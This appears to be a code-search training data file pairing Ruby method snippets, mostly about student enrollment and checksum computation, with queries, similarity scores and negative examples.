"def proper_ranges_instructor\n\t\t\tinstructor_ids = Instructor.all.active.map { |e| e.id }\n\t\t\tif instructor_ids.include?(self.instructor_id)\n\t\t\t\treturn true\n\t\t\telse\n\t\t\t\terrors.add(:instructor_id, \"not an active instructor id\")\n\t\t\t\treturn false\n\t\t\tend\n\t\tend",
"def is_section_complete(type)\n total = data.pages.select { |p| p.type == type }.count\n complete = data.pages.select { |p| p.type == type && p.status == 'success' }.count\n\n total == complete ? true : false\n end",
"def can_enroll?(mission)\n (mission_enrollments.empty? && (mission == current_chapter.missions.first_mission)) ||\n ( (current_or_last_accomplished_mission_enrollment && current_or_last_accomplished_mission_enrollment.accomplished?) &&\n (last_accomplished_mission_enrollment.mission.next_mission == mission ) )\n end",
"def logged_in?\n !current_school.nil?\n end",
"def this_semester?\n\t\topens = self.open_date\n\t\ttoday = Time.now\n\t\t\n\t\t# TODO: rewrite into a range so it's a bit cleaner\n\t\tif(opens.month > 7 && today.month > 7 && today.year == opens.year)\n\t\t\ttrue\n\t\telsif(opens.month <= 7 && today.month <= 7 && today.year == opens.year)\n\t\t\ttrue\n\t\telse\n\t\t\tfalse\n\t\tend\n\tend",
"def enrolled_fulltime?\n # implicit self\n courses.count >= 3\n # could also be: \n # self.courses.count >= 3\n end",
"def has_grades?\n for grade in Annotation.extract_grades(self.text) do\n if Annotation.has_grade?(grade) then\n return true\n end\n end\n return false\n end",
"def senior_member?\n\t\tsenior != true\n\tend",
"def is_valid?\n instructor_approved || (non_rejected_student_memberships.size >= assignment.group_min)\n end",
"def student_logged_in?\n @student_logged_in ||= user_signed_in? and cur_student\n end",
"def full?\n\t\treturn self.debate_participations.count == 2\n\tend",
"def is_supervisor?\n not under_supervision_clinics.empty?\n end",
"def is_taking_course?(course, term = nil)\n term ||= Utils::Term::now\n taking_courses.each do |c|\n if c.course == course and c.year == term.year and c.semester == term.semester\n return true\n end\n end\n false\n end",
"def enrolls?(student, options = {})\n options = {:include_extra_enrollees => true}.merge(options)\n courses.each do |c|\n return true if c.course.enrolls?(student, options)\n end\n return true if options[:include_extra_enrollees] == true && extra_enrollees.include?(student)\n false\n end",
"def show_collection_profile_navigation(collection, section)\n [\"intro\", \"faq\", \"rules\"].each do |s|\n if show_collection_section(collection, s) && s != section\n return true # if at least one other section than the current one is not blank, we need the navigation; break out of the each...do\n end\n end\n return false # if it passed through all tests above and not found a match, then we don't need the navigation\n end",
"def course_full\r\n\t\tmax_enrol = Course.find_by(courseID: courseID).size\r\n\t\tcurrent_enrol = Enrollment.where(courseID: courseID).count\r\n\t\tif current_enrol < max_enrol\r\n\t\t\treturn false\r\n\t\telse\r\n\t\t\treturn true\r\n\t\tend\r\n\r\n\tend",
"def suitable_for_any?\n \treturn self.disciplines.count > 0\n end",
"def graduation_required?\n applicant_type == 'grad_student' || applicant_type == 'undergrad_student' ||\n applicant_type == 'school_student'\n end",
"def over_capacity\n if @students.count >= @capacity\n true\n else\n false\n end\n end",
"def partner_staff?\n staff? && agencies.any? { |a| a.partner? }\n end"
] |
[
"0.72400045",
"0.7115896",
"0.6895543",
"0.68816954",
"0.68450016",
"0.6843175",
"0.68228024",
"0.67637867",
"0.67336667",
"0.67146975",
"0.6714005",
"0.6713313",
"0.6709402",
"0.6682034",
"0.6669727",
"0.66680026",
"0.66568124",
"0.66251636",
"0.6569253",
"0.65572023",
"0.65198606",
"0.64883906",
"0.64640474",
"0.64533216",
"0.6452049",
"0.6438787",
"0.6433461",
"0.64195895",
"0.6418246",
"0.6414476",
"0.63526505",
"0.6345243",
"0.63417935",
"0.6319707",
"0.6286055",
"0.6271009",
"0.6262363",
"0.6257385",
"0.62513536",
"0.62464553",
"0.62424666",
"0.6221621",
"0.6193833",
"0.61890805",
"0.6183032",
"0.6180611",
"0.6180611",
"0.61642414",
"0.61082125",
"0.6092833",
"0.6083847",
"0.60803753",
"0.607121",
"0.6056857",
"0.60521805",
"0.60513425",
"0.6050793",
"0.60417813",
"0.60417813",
"0.6024313",
"0.60204685",
"0.6018855",
"0.6014968",
"0.60148335",
"0.60126835",
"0.60118055",
"0.60076934",
"0.5980983",
"0.5976447",
"0.59755284",
"0.59639746",
"0.5962743",
"0.5960498",
"0.5932314",
"0.5931776",
"0.59304714",
"0.5914644",
"0.59075963",
"0.5903639",
"0.5899387",
"0.5892527",
"0.58846915",
"0.5877211",
"0.587619",
"0.5875121",
"0.5874669",
"0.58694756",
"0.58644295",
"0.5845329",
"0.5843918",
"0.58314306",
"0.58225566",
"0.5818972",
"0.5812719",
"0.5812178",
"0.5799924",
"0.57951635",
"0.57918864",
"0.57864094"
] |
0.68111396
|
8
|
returns the number of students in this section
|
def count_students
students.size
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def num_students\n self.students.count\n end",
"def num_grades (student)\n @grades[student].length\n end",
"def active_student_count\n if self.students.present?\n self.students.select { |s| s.sign_in_count > 0 }.size\n else\n 0\n end\n end",
"def total_students\n students = 0\n self.booked_customers.each do |school|\n students += school.number_students\n end\n return students\n end",
"def num_questions\n n = 0\n self.sections.each do |s|\n n+= s.questions.size()\n end\n return n\n end",
"def students_scheduled\n self.lessons.size\n end",
"def student_membership_number\n accepted_students.size + pending_students.size\n end",
"def count_students\n #code here\n @students.count\nend",
"def num_questions\n n = 0\n sections.each do |s|\n n += s.questions.size\n end\n n\n end",
"def total_students( students_hash)\n st_counter =0\n students_hash.each do |key,value|\n st_counter += value\n #puts (\"#{key}: #{value} students\")\n end\n return st_counter\nend",
"def expected_grades\n assignment.course.students.count\n end",
"def how_many_students\n number = roster.length\n \"There are #{number} students in our class\"\nend",
"def total_students(students)\n\ttotal = 0\n\tstudents.each do |cohort, number| \n\t\ttotal += number.to_i\n\tend\n\tputs total\nend",
"def the_number_of_members\n user_school_relations.count\n end",
"def find_all_students_with_grade(grade)\n count = 0;\n self.students.each { |student|\n if student.grade == grade\n count = count+1\n end\n }\n return count;\n end",
"def top_level_section_count\n @top_level.items.size\n end",
"def num_questions\n return sections.includes(:questions).joins(:questions).reduce(0){ |m, s| m + s.questions.length }\n end",
"def issue_count\n issue_count = 0\n self.sections.each { | section| issue_count += section.issue_count }\n issue_count\n end",
"def count_sections(type = nil)\n if type\n sections.all.select { |section| section.type == type }.size\n else\n sections.size\n end\n end",
"def student_count(hash)\n hash.each do |x, y|\n puts \"#{x}: #{y} students\"\n end\nend",
"def show\n @organization = Organization.find(params[:id])\n\n # Calculating total students enrolled in courses created by this organization\n @total_students = 0\n\n @organization.courses.each do |course|\n @total_students += course.enrollments.count\n end\n end",
"def recent_logged_in_student_count(x)\n if self.students.present?\n self.students.select { |s| s.current_sign_in_at > x.hours.ago.to_i if s.current_sign_in_at.present?}.size\n else\n 0\n end\n end",
"def padded_size\n self.course.sections.count\n end",
"def total_students(students)\n sum = 0\n students.each do |key, value|\n sum += value.to_i\n end\n puts \"the total number of students is #{sum}\"\nend",
"def total_students(hash)\n\ttotal = 0\n\thash.each { |key, value| total += value }\n\treturn total\nend",
"def how_many\n return @@total_samurais\n end",
"def total(list)\n\ttotal_students = 0\n\tlist.map do |cohorts, size|\n\t\ttotal_students += size\n\tend\n\treturn total_students\nend",
"def count_teaching_profs\n accessed_content = read_csv(\"CSV/Conteudos_Acessados.csv\")\n\n prof_ensinaram = Hash.new\n\n accessed_content.each do |row|\n namespace = row['namespace']\n prof_ensinaram[namespace] ||= Hash.new\n prof = row['teacher_id']\n if row['type'] != 'EXERCISE' and row['type'] != '-' and is_valid_user(prof)\n content = row['title']\n prof_ensinaram[namespace][prof] ||= Hash.new\n prof_ensinaram[namespace][prof][content] ||= 0\n prof_ensinaram[namespace][prof][content] += row['users access'].to_i\n end\n end\n\n n_prof_ensinaram = Hash.new\n\n prof_ensinaram.each do |ns, profs|\n n_prof_ensinaram[ns] ||= 0\n profs.each do |prof, contents|\n n_accessed_contents = 0\n contents.each do |content, n_access|\n n_accessed_contents += 1 if n_access >= $min_access_in_content\n end\n n_prof_ensinaram[ns] += 1 if n_accessed_contents >= $min_accessed_contents\n end\n end\n n_prof_ensinaram\nend",
"def get_num_students_per_grade(num_students)\n min = @scenarioYAML[\"MINIMUM_GRADE_PERCENTAGE\"]\n max = @scenarioYAML[\"MAXIMUM_GRADE_PERCENTAGE\"]\n\n if min.nil?\n @log.error \"MINIMUM_GRADE_PERCENTAGE must be set for a world to be created --> Exiting...\"\n abort\n end\n if max.nil?\n @log.error \"MAXIMUM_GRADE_PERCENTAGE must be set for a world to be created --> Exiting...\"\n abort\n end\n\n ((random_on_interval(min, max) / 100) * num_students).round\n end",
"def num_members\n solr_document[\"member_ids_ssim\"].try(:length) || 0\n end",
"def get_section_page_count(section, status = nil)\n unless status\n data.pages.select { |page| page.type == section }.count\n else\n data.pages.select { |page| page.type == section and page.status == status }.count\n end\n end",
"def print_footer\n if @students.count == 1 \n puts \"Overall we have #{@students.count} great student\"\n else\n puts \"Overall we have #{@students.count} great students\"\n end\nend",
"def expected_grades\n metrics.count * course.students.count\n end",
"def segment_count\n @segments.length\n end",
"def num_stories\n return @num_stories_above_grade + @num_stories_below_grade\n end",
"def status\n students = self.accessible_students \n return 0 if students.length == 0\n sum = 0\n students.find_each do |student|\n sum = sum + student.status\n end\n\n return sum/students.length\n end",
"def omission_count\n @omissions.size\n end",
"def total_students(students)\n total = 0\n students.each_value do |value|\n total += value\n end\n return total\nend",
"def enrollee_count\n count = 0\n courses.each do |c|\n count += c.course.all_enrollee_count\n end\n count += extra_enrollees.size\n count\n end",
"def num_book\n\t\treturn @books.length\n\tend",
"def subjects_count\n subject_count = 0\n self.slots.each do |slot|\n subject_count += slot.subjects.count unless slot.cancelled?\n end\n return subject_count\n end",
"def display(students)\n students.each {|cohort, number_of_students| puts \"#{cohort}: #{number_of_students} students\"}\n end",
"def tableView(tableView, numberOfRowsInSection: section)\n rows_for_section(section).count\n end",
"def count_books author\n books = @books[author]\n if books == nil\n puts \"No such author\"\n else\n puts books.length\n end\n end",
"def print_footer\n if @students.length == 1\n puts \"Overall, we have 1 great student\"\n else puts \"Overall, we have #{@students.count} great students\"\n end\nend",
"def count_members\n @band.count\n end",
"def print_footer\n if @students.count > 1\n puts \"Overall, we have #{@students.count} great students\"\n elsif @students.count == 1\n puts \"Overall, we have 1 great student\"\n else\n puts \"There are no students yet\"\n end\nend",
"def participants_count(name)\n text = self.span(:class=>\"s3d-search-result-name\",:text=>name).parent.parent.parent.link(:title=>/\\d+.participant/).text\n text[/\\d+/].to_i\n end",
"def count_entitled\n return @count_entitled\n end",
"def count_total()\n self.regulatory_elements.count\n end",
"def nr_of_chapters\n all_chapters.count\n end",
"def section_size\n @section_size ||= Math.sqrt(puzzle.size).to_i\n end",
"def num_groups\n\t\t\t@groups.length\n\t\tend",
"def member_count\n return @member_count\n end",
"def remove_students(users)\n counter = 0\n\n users.each do |user|\n counter += remove_student(user)\n end\n\n return counter\n end",
"def count_no\n rsvp.no.count\n end",
"def num_section_answers(plan, section)\n count = 0\n plan_remove_list = remove_list(plan)\n plan.answers.each do |answer|\n next unless answer.question.section_id == section.id &&\n plan_remove_list.exclude?(answer.question_id) &&\n section.question_ids.include?(answer.question_id) &&\n answer.answered?\n\n count += 1\n end\n count\n end",
"def count_subjects\n Subject.count(:id)\n end",
"def number_of_groups(list_of_students)\n\tif list_of_students.length % 5 == 0\n\t\tnumber_of_groups = (list_of_students.length / 5) \n\telse\n\t\tnumber_of_groups = (list_of_students.length / 5) + 1\n\tend\nend",
"def num_doctors\n doctors.count\n end",
"def print_footer\n if @students.count == 1\n puts \"Overall, we have #{@students.count} great student\"\n elsif @students.count > 1\n puts \"Overall, we have #{@students.count} great students\"\n end\nend",
"def members_count\n return @members_count\n end",
"def number_of_people\n\t\tusers.length\n\tend",
"def teachers\n @all_teachers = User.all_teachers\n @current_teachers = User.current_teachers(get_selected_project)\n @number_of_teachers_per_section = User.get_number_of_teachers_per_section(get_array_of_all_sections(get_selected_project), get_selected_project) \n end",
"def print_header\n if @students.count >= 1\n puts \"The students of Villains Academy\"\n puts \"-----------------\"\n end\nend",
"def number_of_members()\n return members().count\n end",
"def num_participants\n self.participants.count\n end",
"def num_participants\n self.participants.count\n end",
"def num_sentences\n @sentences.length\n end",
"def count\n each.size\n end",
"def number_of_sales\n return self.sales.length\n end",
"def segment_count\n children.map(&:segment_count).inject(:+).to_i + 2\n end",
"def num_section_questions(plan, section, phase = nil)\n # when section and phase are a hash in exports\n if section.is_a?(Hash) &&\n !phase.nil? &&\n plan.is_a?(Plan)\n\n phase = plan.template\n .phases\n .find { |ph| ph.number == phase[:number] }\n section = phase.sections\n .find { |s| s.phase_id == phase.id && s.title == section[:title] }\n end\n count = 0\n plan_remove_list = remove_list(plan)\n section.questions.each do |question|\n count += 1 unless plan_remove_list.include?(question.id)\n end\n count\n end",
"def number_of_sales\n return sales.length\n end",
"def count_no\n rsvp.no.count\n end",
"def remaining_slots\n @count = 0\n self.booked_customers.each do |booked_customer|\n @count += booked_customer.number_students.to_i\n end\n return self.cap - @count\n\n end",
"def number_of_senator\n\ta = Legislator.where(\"title=?\",\"Sen\")\n\tputs \"Senators:\" +\"#{a.count}\"\nend",
"def number_of_sales\n sales.count\n end",
"def number_of_sales\n sales.count\n end",
"def print_current_students(students)\n\tstr = \"Currently we have #{students.length} student#{'s' if is_plural?(students.length)}\\n\"\n\tprint str\nend",
"def seats_left\n student_limit - students.count\n end",
"def nbSommets()\n return @sommets.count()\n end",
"def full_review_self_check_count\n check_count = 0\n self.sections.each do |s|\n next if !s.full_review?\n s.subsections.each do |ss|\n next if !ss.full_review?\n ss.checks.each { |c| check_count += 1 if c.new_design_check? && c.is_self_check? }\n end\n end\n check_count\n end",
"def number_of_sales\n product_sales = self.sales\n num_of_sales = product_sales.length\n return num_of_sales\n end",
"def get_num_staff_needed\n time_loc = user_choice_of_object_in_class(TimeSlot)\n puts \"You will need #{time_loc.num_staff_needed} staff for that time.\"\n analyze_menu\n end",
"def num_pages\n groups = self.groups.includes(:descriptions)\n groups.map {|g| g.descriptions.length > 0 ? 1 : 0}.sum\n end",
"def course_sections\n ['1', '2']\n end",
"def print_student_list(students)\n puts \"Students:\"\n puts \"----------------\"\n students.each do |student|\n puts \"#{student[:name]}, Cohort: #{student[:cohort]}\"\n end\n puts \"Overall, we have #{students.count} students\"\nend",
"def print_under_12\n count = 0\n @students.each_with_index do |student, index|\n if student[:name].length < 12\n puts \"#{index + 1}. #{student[:name]}\"\n print_student_data(student)\n count += 1\n end\n end\n puts \"We have #{count} #{count == 1 ? 'student' : 'students'} with less than 12 letters in their name\"\nend",
"def count\n each.count\n end",
"def collect_students(section = nil, student_attr = nil)\n @students ||= (\n student_list = data.collect{|row| row[0].to_s.sub(/COMMA\\s*/,', ').strip}\n students = student_list.collect do |student|\n s = section.rollbook_entries.detect{|rbe| rbe.student.send(student_attr) == student}\n s && s.id\n end\n students)\n end",
"def number_of_sales\n array_sales = sales\n num_sales = array_sales.length\n puts \"#{num_sales} #{name} were sold\"\n return num_sales\n end",
"def item_count()\n @names.count\n end",
"def class_how_full?\n return [self.students.count, self.class_max]\n end",
"def print_footer(students)\n\tputs \"Overall we have #{students.length} students\"\nend",
"def number\n lecture.lessons.index(self) + 1\n end",
"def total_crowd\n attendees.length\n end",
"def members_count\n object.space_memberships.count\n end",
"def getNumQuestionDetailItems()\n return @sectionrec_config.size()\n end"
] |
[
"0.7621935",
"0.75866854",
"0.72421867",
"0.7111609",
"0.69339824",
"0.68719083",
"0.68649083",
"0.6856613",
"0.679039",
"0.66600674",
"0.6588708",
"0.6538169",
"0.65213126",
"0.6463719",
"0.63386285",
"0.6333991",
"0.62659514",
"0.62336826",
"0.6223881",
"0.61278695",
"0.6113295",
"0.6110404",
"0.6076905",
"0.6065216",
"0.6053353",
"0.60159135",
"0.5999995",
"0.5959709",
"0.59199935",
"0.59169114",
"0.590211",
"0.5884534",
"0.58731097",
"0.5864919",
"0.58575773",
"0.58405435",
"0.58280253",
"0.58217704",
"0.5818523",
"0.579098",
"0.5763893",
"0.5757927",
"0.57568234",
"0.5755323",
"0.57491714",
"0.57479846",
"0.5735156",
"0.57116365",
"0.57046694",
"0.56995845",
"0.5696928",
"0.56961125",
"0.5695691",
"0.56911653",
"0.567998",
"0.56789905",
"0.56772625",
"0.565971",
"0.5657911",
"0.56559134",
"0.56533265",
"0.56385815",
"0.562873",
"0.5626696",
"0.5626211",
"0.56220704",
"0.56183773",
"0.56183773",
"0.5616242",
"0.5592022",
"0.55910146",
"0.55903006",
"0.5585319",
"0.5581272",
"0.5580961",
"0.5577097",
"0.55770797",
"0.55763036",
"0.55763036",
"0.55746007",
"0.55678385",
"0.5564381",
"0.55416685",
"0.5539806",
"0.55234003",
"0.55143595",
"0.5511931",
"0.55114853",
"0.5509833",
"0.55029684",
"0.5500949",
"0.5498973",
"0.54943335",
"0.5494053",
"0.54928476",
"0.5492559",
"0.5490675",
"0.5489946",
"0.5482147"
] |
0.78057146
|
1
|
Calculate the checksum from the page (or the pre packed data) If data it supplied it will be updated to record the checksum value
|
def compute_checksum(data_)
data = data_.dup
data[22..25] = [0].pack("V")
crc = 0
data.each_byte do |byte|
crc = (crc << 8)^CHECKSUM_TABLE[((crc >> 24)&0xff) ^ byte]
crc = crc & 0xffffffff
end
crc
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def calc_checksum\n # Checksum is only on header, so cannot use IP.sum16,\n # which also calculates checksum on #body.\n nb_words = ihl * 2\n self.checksum = 0\n checksum = to_s.unpack(\"n#{nb_words}\").sum\n self[:checksum].value = IP.reduce_checksum(checksum)\n end",
"def calcChecksum(data)\n \n # calculate checksum\n checksum = 0xFF\n data.each_byte {|x| checksum ^= x }\n \n return checksum\n end",
"def checksum!# {{{\n self.csum = compute_checksum\n end",
"def update_checksum\n hh = header(\" \" * 8)\n @checksum = oct(calculate_checksum(hh), 6)\n end",
"def checksum\n end",
"def checksum\n calc_checksum = 0\n byte_bit_nbr = 0\n @fuse_data.each { |bit|\n calc_checksum += 2**byte_bit_nbr if bit == 1\n byte_bit_nbr += 1\n byte_bit_nbr = 0 if byte_bit_nbr == 8\n }\n calc_checksum = calc_checksum % 2**16\n calc_checksum\n end",
"def checksum\n Nanoc::Checksummer.calc(self)\n end",
"def calc_checksum\n sum = IP.sum16(self)\n self.checksum = IP.reduce_checksum(sum)\n end",
"def calc_checksum\n sum = IP.sum16(self)\n self.checksum = IP.reduce_checksum(sum)\n end",
"def checksums; end",
"def checksum\n @checksum ||= luhn_doubled.inject(0) { |a, e| a + sum_of(e) }\n end",
"def checksum!\n self.checksum = compute_checksum\n end",
"def checksum!\n self.checksum = compute_checksum\n end",
"def digest(data); end",
"def calc_checksum\n sum = ip_header(self).pseudo_header_checksum\n sum += self.sz\n sum += IP_PROTOCOL\n sum += IP.sum16(self)\n self.checksum = IP.reduce_checksum(sum)\n end",
"def checksum\n\t\t@checksum ||= FileManager.checksum(@path)\n #\t\tif file?\n #\t\t\treturn FileManager.checksum(@path)\n #\t\tend\n end",
"def checksum\n source[digest_type]\n end",
"def image_checksum(data, index1 = 0, index2 = 0) #:nodoc:\n case @checksum_method\n when 3\n Digest::MD5.hexdigest(data)\n when 1\n # Digest::MD4\n # return Digest::MD4::md4_hex($data);\n when 2\n # Digest::Perl::MD4\n # return Digest::Perl::MD4::md4_hex($data);\n else\n # Default\n # return sprintf('%016X%016X', index2, index1)\n end\n end",
"def calc_checksum\n ip = ip_header(self)\n sum = ip.pseudo_header_checksum\n sum += IP_PROTOCOL\n sum += self.sz\n sum += IP.sum16(self)\n self.checksum = IP.reduce_checksum(sum)\n end",
"def checksum?# {{{\n self.csum == compute_checksum\n end",
"def checksum(name)\n checksum_data[name]\n end",
"def checksum_crc32\n unless size == 16384\n raise \"Checksum calculation is only supported for 16 KiB pages\"\n end\n\n @checksum_crc32 ||= begin\n # Calculate the CRC32c of the page header.\n crc_partial_header = Digest::CRC32c.new\n each_page_header_byte_as_uint8 do |byte|\n crc_partial_header << byte.chr\n end\n\n # Calculate the CRC32c of the page body.\n crc_page_body = Digest::CRC32c.new\n each_page_body_byte_as_uint8 do |byte|\n crc_page_body << byte.chr\n end\n\n # Bitwise XOR the two checksums together.\n crc_partial_header.checksum ^ crc_page_body.checksum\n end\n end",
"def calc_checksum\n c0 = c1 = 0\n to_s[2..].unpack('C*').each do |byte|\n c0 += byte\n c1 += c0\n end\n c0 %= 255\n c1 %= 255\n\n x = ((sz - 17) * c0 - c1) % 255\n x += 255 if x <= 0\n y = 255 * 2 - c0 - x\n y -= 255 if y > 255\n self.checksum = (x << 8) | y\n end",
"def checksum\n summation = 0\n @nmi.reverse.split(//).each_index do |i|\n value = nmi[nmi.length - i - 1].ord\n value *= 2 if i.even?\n value = value.to_s.split(//).map(&:to_i).reduce(:+)\n summation += value\n end\n checksum = (10 - (summation % 10)) % 10\n checksum\n end",
"def compute_checksums data\n\n digest = OpenSSL::Digest::Digest.new('sha256')\n tree_digest = OpenSSL::Digest::Digest.new('sha256')\n tree_parts = []\n\n until data.eof?\n\n chunk = data.read(1024 * 1024) # read 1MB\n tree_parts << tree_digest.update(chunk).digest\n tree_digest.reset\n\n digest.update(chunk)\n\n end\n\n data.rewind\n\n [digest.to_s, compute_tree_hash(tree_parts)]\n\n end",
"def checksum\n fil_header[:checksum]\n end",
"def icmp_calc_sum\n\t\t\tchecksum = (icmp_type.to_i << 8)\t+ icmp_code.to_i\n\t\t\tchk_body = (body.to_s.size % 2 == 0 ? body.to_s : body.to_s + \"\\x00\")\n\t\t\tif 1.respond_to? :ord\n\t\t\t\tchk_body.scan(/../).map { |x| (x[0].ord << 8) + x[1].ord }.each { |y| checksum += y }\n\t\t\telse\n\t\t\t\tchk_body.scan(/../).map { |x| (x[0] << 8) + x[1] }.each { |y| checksum += y }\n\t\t\tend\n\t\t\tchecksum = checksum % 0xffff\n\t\t\tchecksum = 0xffff - checksum\n\t\t\tchecksum == 0 ? 0xffff : checksum\n\t\tend",
"def compute_checksum# {{{\n pseudo = []\n pseudo << ((self.version << 8) | self.ttl)\n pseudo << 0\n pseudo << self.payload\n L3::Misc.checksum(pseudo.pack(\"nna*\"))\n end",
"def calculated_checksum\n send(\"#{@resource[:checksum_type]}_file\".to_sym, @resource[:path]) \n end",
"def set_ip_checksum\n self.ip_sum = 0\n check_sum_data = to_s[0..(ip_hl*4 - 1)].unpack(\"S>*\")\n sum = check_sum_data.inject(0) { |acc, byte| acc + byte }\n sum = sum + (sum >> 16)\n self.ip_sum = ~sum\n end",
"def rubocop_checksum; end",
"def icmp_calc_sum\n checksum = (icmp_type.to_i << 8)\t+ icmp_code.to_i\n chk_body = (body.to_s.size % 2 == 0 ? body.to_s : body.to_s + \"\\x00\")\n if 1.respond_to? :ord\n chk_body.split(\"\").each_slice(2).map { |x| (x[0].ord << 8) + x[1].ord }.each { |y| checksum += y }\n else\n chk_body.split(\"\").each_slice(2).map { |x| (x[0] << 8) + x[1] }.each { |y| checksum += y }\n end\n checksum = checksum % 0xffff\n checksum = 0xffff - checksum\n checksum == 0 ? 0xffff : checksum\n end",
"def calc_checksum\n ipv6 = ip_header(self)\n sum = ipv6.pseudo_header_checksum\n sum += IP_PROTOCOL\n sum += self.sz\n sum += IP.sum16(self)\n self.checksum = IP.reduce_checksum(sum)\n end",
"def checksum\n return nil if @window_bits < 0\n @inflater.closed? ? @checksum : @inflater.adler\n end",
"def handlesum\n currentvalue = self.retrieve\n if currentvalue.nil?\n raise Puppet::Error, \"Checksum state for %s is somehow nil\" %\n @resource.title\n end\n\n if self.insync?(currentvalue)\n self.debug \"Checksum is already in sync\"\n return nil\n end\n # If we still can't retrieve a checksum, it means that\n # the file still doesn't exist\n if currentvalue == :absent\n # if they're copying, then we won't worry about the file\n # not existing yet\n return nil unless @resource.property(:source)\n end\n\n # If the sums are different, then return an event.\n if self.updatesum(currentvalue)\n return :file_changed\n else\n return nil\n end\n end",
"def compute_checksum(h)\n begin\n signed_h = h.dup.with_indifferent_access\n CLEAR_OPTIONS.map{|o| signed_h.delete(o) }\n marshaled = ActionController::Routing::Route.new.build_query_string(signed_h)\n marshaled = marshaled.gsub(/^\\?/, '').split(/&/).sort.join('&')\n digest.call(self, Base64.encode64(marshaled.to_s.reverse)).to_s\n ensure\n end\n end",
"def checksum_of(url, etag, last_modified)\n #noinspection RubyArgCount\n Zlib::crc32(url + etag + last_modified).to_s\n end",
"def checksum\n digest = @digest_klass.new\n buf = ''\n\n File.open(@path, \"rb\") do |f|\n while !f.eof\n begin\n f.readpartial(BUFFER_SIZE, buf)\n digest.update(buf)\n rescue EOFError\n # Although we check for EOF earlier, this seems to happen\n # sometimes anyways [GH-2716].\n break\n end\n end\n end\n\n digest.hexdigest\n end",
"def ip_calc_sum(pkt)\n checksum = (((pkt.ip_v << 4) + pkt.ip_hl) << 8) + pkt.ip_tos\n checksum += pkt.ip_len\n checksum += pkt.ip_id\n checksum += pkt.ip_frag\n checksum += (pkt.ip_ttl << 8) + pkt.ip_proto\n checksum += (pkt.ip_src >> 16)\n checksum += (pkt.ip_src & 0xffff)\n checksum += (pkt.ip_dst >> 16)\n checksum += (pkt.ip_dst & 0xffff)\n checksum = checksum % 0xffff \n checksum = 0xffff - checksum\n checksum == 0 ? 0xffff : checksum\n return checksum\nend",
"def checksum\n return nil if @window_bits < 0\n @deflater.closed? ? @checksum : @deflater.adler\n end",
"def checksum\n return @checksum if @checksum\n\n raise 'number1 is required' unless self.number1\n raise 'number2 is required' unless self.number2\n raise 'challenge is required' unless self.challenge\n\n checksum = ''\n checksum += [self.number1].pack('N')\n checksum += [self.number2].pack('N')\n checksum += self.challenge\n checksum = Digest::MD5.digest(checksum)\n\n return @checksum ||= checksum\n end",
"def calculate_checksum\n indices = build_word_indices(false)\n create_rs1024_checksum(indices).map{|i|i.to_bits(10)}.join.to_i(2)\n end",
"def update(data)\n i = 0\n while i < data.length\n data[i,i+NMAX].each_byte do |b|\n @s1 = @s1 + b\n @s2 = @s2 + @s1\n end\n @s1 = @s1 % BASE\n @s2 = @s2 % BASE\n i = i + NMAX\n end\n @count = @count + data.length\n return self.digest\n end",
"def compute_checksum\n # some things are significant by default but can be overridden by config.\n significant =\n (@effective_route_config[@kind] &&\n @effective_route_config[@kind][SIGNIFICANT_KEY]) ||\n {}\n\n # verb and (response-only) http_status are always significant.\n significant_data = RightSupport::Data::Mash.new(verb: @verb)\n significant_data[:http_status] = @http_status if @http_status\n\n # significance by type.\n [:header, :query, :body].each do |type|\n copy_if_significant(type, significant, significant_data)\n end\n\n # use deep-sorted JSON to prevent random ordering changing the checksum.\n @checksum_data = self.class.deep_sorted_json(significant_data)\n if logger.debug?\n logger.debug(\"#{@kind} significant = #{significant.inspect}\")\n logger.debug(\"#{@kind} checksum_data = #{@checksum_data.inspect}\")\n end\n ::Digest::MD5.hexdigest(@checksum_data)\n end",
"def checksum_innodb\n unless size == 16384\n raise \"Checksum calculation is only supported for 16 KiB pages\"\n end\n\n @checksum_innodb ||= begin\n # Calculate the InnoDB checksum of the page header.\n c_partial_header = Innodb::Checksum.fold_enumerator(each_page_header_byte_as_uint8)\n\n # Calculate the InnoDB checksum of the page body.\n c_page_body = Innodb::Checksum.fold_enumerator(each_page_body_byte_as_uint8)\n\n # Add the two checksums together, and mask the result back to 32 bits.\n (c_partial_header + c_page_body) & Innodb::Checksum::MAX\n end\n end",
"def calculate_checksum(file)\n @lookup_checksums[file] = Digest::MD5.hexdigest(File.read(file, mode: \"rb\")) rescue \"\"\n end",
"def create_checksum(hrp, data, spec)\n values = expand_hrp(hrp) + data\n const = (spec == Bech32::Encoding::BECH32M ? Bech32::BECH32M_CONST : 1)\n polymod = polymod(values + [0, 0, 0, 0, 0, 0]) ^ const\n (0..5).map{|i|(polymod >> 5 * (5 - i)) & 31}\n end",
"def update(data)\n accum = 0\n data.each_byte { |b| accum += b }\n\n @crc += (accum % 256)\n\n return self\n end",
"def checksum(path)\n FileChecksum.new(path, Digest::SHA1).checksum\n end",
"def checksum!\n # Get a deep copy of hash to compare with\n @_original_hash = Marshal.load(Marshal.dump(to_hash))\n # create a copy of basic elements\n base = self.reject { |k,_| ['_id', '_rev', 'couchrest-hash'].include? k.to_s }\n\n result = nil\n\n flatten =\n lambda {|r|\n (recurse = lambda {|v|\n if v.is_a?(Hash) || v.is_a?(CouchRest::Document)\n v.to_a.map{|v| recurse.call(v)}.flatten\n elsif v.is_a?(Array)\n v.flatten.map{|v| recurse.call(v)}\n else\n v.to_s\n end\n }).call(r)\n }\n self['couchrest-hash'] = Digest::MD5.hexdigest(flatten.call(base).sort.join(''))\n end",
"def checksum\n render json: content_files_checksums(druid).to_json\n end",
"def checksum\n Digest::SHA256.hexdigest(self.to_smash(:sorted).to_s)\n end",
"def checksum(arg = nil)\n set_or_return(:checksum, arg, kind_of: [String])\n end",
"def calculate_checksum\n last_checksum = previous_event&.checksum\n attrs = attributes.except(\"checksum\", \"id\", \"updated_at\").merge(last_checksum: last_checksum)\n cs = Digest::SHA256.hexdigest(attrs.to_s)\n puts \"#{id} calculate_checksum: #{cs} <- #{attrs} \" if Rails.env.development?\n Rails.logger.info(\"#{id} calculate_checksum: #{cs} <- #{attrs} \")\n return cs\n end",
